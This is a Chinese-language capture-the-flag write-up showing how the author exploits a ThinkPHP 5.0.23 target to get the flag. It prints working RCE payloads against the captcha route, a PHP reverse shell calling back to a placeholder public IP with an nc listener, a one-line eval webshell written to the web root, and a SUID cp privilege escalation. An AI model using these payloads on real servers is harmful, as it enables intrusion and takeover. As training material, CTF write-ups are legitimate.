【NewStarCTF2023】Final thinkphp 漏洞与提权
【NewStarCTF2023】Final thinkphp 漏洞与提权
题目描述
打开靶机后, 是一个 thinkphp 的默认页面, 所以很有可能就是挖掘 thinkphp 的漏洞, 先在路径上输入一些默认参数查看其版本号.
可以看到是 ThinkPHP V5.0.23.
解题过程
去谷歌搜索 ThinkPHP V5.0.23 漏洞, 发现有 RCE 漏洞,用 POST 构造请求参数为 /?s=captcha
构造的 payload 为
1 | _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami |
这边的用法是 filter[]
参数中输入要执行的命令类型,server[REQUEST_METHOD]
里输入要执行命令的参数.
构造 payload 发送后没有回显, 说明很有可能把 system 给禁止了, 所以构造下面这个 payload 看看他的 phpinfo
1 | _method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=5 |
看到了他把 system
命令给禁用了:
所以这里使用其他的命令去绕过, 比如 exec
, passthru
构造 payload
1 | _method=__construct&filter[]=passthru&method=get&server[REQUEST_METHOD]=ls / |
这样能够看到 ls 后的内容, 但是这里去 cat flag 的时候发现读不出来东西, 先弹个 shell, 构造 payload
1 | _method=__construct&filter[]=passthru&method=get&server[REQUEST_METHOD]=php -r '$sock=fsockopen("公网ip", 监听端口);exec("sh <&3 >&3 2>&3");' |
vps 上使用
1 | nc -lvnp 端口 |
成功反弹 shell, 然后输入命令
1 | ls -la / |
发现 flag 文件设置了高权限可读, 所以这里要想办法提权获取到文件.
调用命令查看一下高权限的操作
1 | find / -perm -u=s -type f 2>/dev/null |
发现 cp
命令是高权限操作, 但是我在提权过程中发现由于 用户的权限太低, 环境变量用不了, 又不能使用 sudo
命令, 而且也查看不了定时任务, 根本没办法用反弹的 shell 进行提权.
由于 thinkphp 那个漏洞似乎是可以写入一句话木马的, 所以尝试去写入一句话木马, 把输出流绑定到木马文件上, 然后用蚁剑链接, 用 cp
命令把文件内容复制到输出流上提权读取文件, 构造 payload 为
1 | _method=__construct&filter[]=exec&method=get&server[REQUEST_METHOD]=echo '<?php eval($_POST['cmd']);?>' > /var/www/public/shell.php |
然后以 shell.php
作为路径, cmd
作为链接密码, 即可 getshell
然后在蚁剑命令终端中, 尝试用 cp
命令将文件内容复制到输出流 /dev/stdout
1 | cp /flag_dd3f6380aa0d /dev/stdout |
最后获得 flag.